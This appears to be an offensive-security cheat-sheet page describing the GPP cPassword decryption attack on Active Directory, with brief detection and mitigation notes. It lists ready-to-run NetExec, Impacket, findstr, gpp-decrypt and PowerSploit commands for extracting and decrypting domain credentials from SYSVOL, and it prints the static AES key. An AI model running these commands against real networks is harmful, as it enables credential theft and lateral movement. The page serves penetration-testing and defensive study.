title: "Attack #48 β GPP Password Decryption" description: "Group Policy Preferences (GPP) allowed admins to set local admin passwords, create scheduled tasks, and configure services via Group Policy β with theβ¦" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory"] tools: ["NetExec", "Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/π£ Attack #48 β GPP Password Decryption.md"#
π£ Attack #48 β GPP Password Decryption#
π How It Works#
Group Policy Preferences (GPP) allowed admins to set local admin passwords, create scheduled tasks, and configure services via Group Policy β with the password stored in cPassword in XML files on SYSVOL. Microsoft encrypted these passwords with a publicly-known static AES key (published in MSDN documentation), making any GPP password trivially decryptable by any domain user who can read SYSVOL.
Microsoft patched this in MS14-025 (May 2014), but old GPP XML files may still exist on SYSVOL.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Any domain user | SYSVOL is readable by all authenticated users |
| Legacy GPP files still present | Created before MS14-025 |
π» Full Commands#
# ββ NetExec β automated GPP password extraction ββββββββββββββββββββββββββββββ
nxc smb DC01.corp.local -u low_user -p 'Password1' -M gpp_password
# ββ Impacket β Get-GPPPassword ββββββββββββββββββββββββββββββββββββββββββββββββ
Get-GPPPassword.py corp.local/low_user:'Password1'@DC01.corp.local
# ββ Manual β search SYSVOL for cPassword ββββββββββββββββββββββββββββββββββββββ
findstr /S /I cPassword \\corp.local\SYSVOL\corp.local\Policies\*.xml
# ββ Decrypt the cPassword value βββββββββββββββββββββββββββββββββββββββββββββββ
gpp-decrypt <cPassword_value>
# The AES key is: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
# ββ PowerSploit βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Import-Module .\PowerSploit.ps1
Get-CachedGPPPassword
Get-GPPPassword
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 5145 | Security Log (DC) | Access to SYSVOL β reading Policy XML files |
π Attack Chain Context#
[GPP Passwords] βββ Decrypt legacy local admin passwords from SYSVOL
β
ββββ π Extracted passwords often = local admin on many machines
ββββ π PtH (#4) with discovered credentials β lateral movement
ββββ π Defeated by: delete old GPP XML files, use LAPS instead
β Attack #48 β GPP Password Decryption complete.